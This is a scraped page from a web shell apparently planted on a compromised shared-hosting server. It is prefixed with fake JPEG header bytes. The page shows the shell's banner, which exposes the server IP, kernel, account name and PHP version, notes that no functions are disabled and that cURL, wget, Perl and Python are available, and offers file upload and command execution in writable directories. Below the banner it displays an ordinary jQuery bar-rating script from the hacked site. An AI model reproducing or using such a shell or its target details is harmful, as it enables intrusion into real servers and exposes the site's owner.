����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.223.122.53
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./gle.gltechlimited.com/public/assets/js/custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./gle.gltechlimited.com/public/assets/js/custom/custom-barrating.js
/*
----------------------------------
    : Custom - Bar Rating js :
----------------------------------
*/
"use strict";
(function($) {    
    function ratingEnable() {
        /* -- Rating 1 to 10 -- */
        $('#rating-1to10').barrating('show', {
            theme: 'bars-1to10'
        });
        /* -- Rating Movie -- */
        $('#rating-movie').barrating('show', {
            theme: 'bars-movie'
        });
        $('#rating-movie').barrating('set', 'Mediocre');
        /* -- Rating Square -- */
        $('#rating-square').barrating('show', {
            theme: 'bars-square',
            showValues: true,
            showSelectedRating: false
        });
        /* -- Rating Pill -- */
        $('#rating-pill').barrating('show', {
            theme: 'bars-pill',
            initialRating: 'A',
            showValues: true,
            showSelectedRating: false,
            allowEmpty: true,
            emptyValue: '-- no rating selected --',
            onSelect: function(value, text) {
                alert('Selected rating: ' + value);
            }
        });
        /* -- Rating Reversed -- */
        $('#rating-reversed').barrating('show', {
            theme: 'bars-reversed',
            showSelectedRating: true,
            reverse: true
        });
        /* -- Rating Horizontal -- */
        $('#rating-horizontal').barrating('show', {
            theme: 'bars-horizontal',
            reverse: true,
            hoverState: false
        });
        /* -- Rating Font Awesome -- */
        $('#rating-fontawesome').barrating({
            theme: 'fontawesome-stars',
            showSelectedRating: false
        });
        /* -- Rating css -- */
        $('#rating-css').barrating({
            theme: 'css-stars',
            showSelectedRating: false
        });
        /* -- Rating Bootstrap -- */
        $('#rating-bootstrap').barrating({
            theme: 'bootstrap-stars',
            showSelectedRating: false
        });
        var currentRating = $('#rating-fontawesome-o').data('current-rating');
        $('.stars-example-fontawesome-o .current-rating')
            .find('span')
            .html(currentRating);
        $('.stars-example-fontawesome-o .clear-rating').on('click', function(event) {
            event.preventDefault();
            $('#rating-fontawesome-o')
                .barrating('clear');
        });
        $('#rating-fontawesome-o').barrating({
            theme: 'fontawesome-stars-o',
            showSelectedRating: false,
            initialRating: currentRating,
            onSelect: function(value, text) {
                if (!value) {
                    $('#rating-fontawesome-o')
                        .barrating('clear');
                } else {
                    $('.stars-example-fontawesome-o .current-rating')
                        .addClass('hidden');

                    $('.stars-example-fontawesome-o .your-rating')
                        .removeClass('hidden')
                        .find('span')
                        .html(value);
                }
            },
            onClear: function(value, text) {
                $('.stars-example-fontawesome-o')
                    .find('.current-rating')
                    .removeClass('hidden')
                    .end()
                    .find('.your-rating')
                    .addClass('hidden');
            }
        });
    }
    function ratingDisable() {
        $('select').barrating('destroy');
    }
    $('.rating-enable').click(function(event) {
        event.preventDefault();
        ratingEnable();
        $(this).addClass('deactivated');
        $('.rating-disable').removeClass('deactivated');
    });
    $('.rating-disable').click(function(event) {
        event.preventDefault();
        ratingDisable();
        $(this).addClass('deactivated');
        $('.rating-enable').removeClass('deactivated');
    });
    ratingEnable();
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit